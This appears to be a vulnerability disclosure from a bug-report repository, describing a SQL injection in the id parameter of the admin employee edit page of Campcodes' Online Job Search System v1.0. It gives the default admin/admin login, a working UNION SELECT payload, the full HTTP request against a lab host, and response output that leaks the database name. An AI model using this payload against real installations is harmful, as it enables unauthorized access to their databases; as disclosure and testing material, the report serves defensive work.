

main

...

bug_report / vendors / campcodes.com / online-job-search-system / SQLi-4.md



debug601 Update SQLi-4.md

History

1 contributor

29 lines (20 sloc) | 1.26 KB

...

Complete Online Job Search System v1.0 has SQL injection

The password for the backend login account is: admin/admin

vendors: <https://www.campcodes.com/projects/php/online-job-search-system-using-php-mysql-free-download/>

Vulnerability File: /eris/admin/employee/index.php?view=edit&id=

Vulnerability location: /eris/admin/employee/index.php?view=edit&id=,id

Current database name: erisdb

[+] Payload: /eris/admin/employee/index.php?

view=edit&id=-2018001%27%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+ // Leak place ---> id

```
GET /eris/admin/employee/index.php?view=edit&id=-2018001%27%20union%20select%201,2,d
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

DNT: 1

Cookie: PHPSESSID=mho0fs26310tis816v3lqpu6q4

Connection: close

GET /eris/admin/employee/index.php?view=edit&id=-2018001%27%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=mho0fs26310tis816v3lqpu6q4
Connection: close

<!-- <p class="lead">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut
 et dolore magna aliqua. Ut enim ad minim veniam</p> -->
</div>

method="POST">

<form class="form-horizontal span6" action="controller.php?action=edit"

<input id="EMPLOYEEID" name="EMPLOYEEID" type="hidden" value="2" >

<div class="form-group">
<div class="col-md-8">
<label class="col-md-4 control-label" for="FNAME">Firstname:</label>

<div class="col-md-8">
<input class="form-control input-sm" id="FNAME" name="FNAME" value="erisdb" type="text" value="erisdb" autocomplete="off">
</div>
</div>

<div class="form-group">
<div class="col-md-8">

Load URL http://192.168.1.19/eris/admin/employee/index.php?view=edit&id=-2018001" union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+
Split URL
Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace

ERIS

Dashboard

Company

Vacancy

Employee

Applicants 0

Category

Manage Users

Employees

Update Employee

Firstname: erisdb

Lastname: 4

Middle Name: 5

Address: 6

Sex: ☒ Female ☐ Male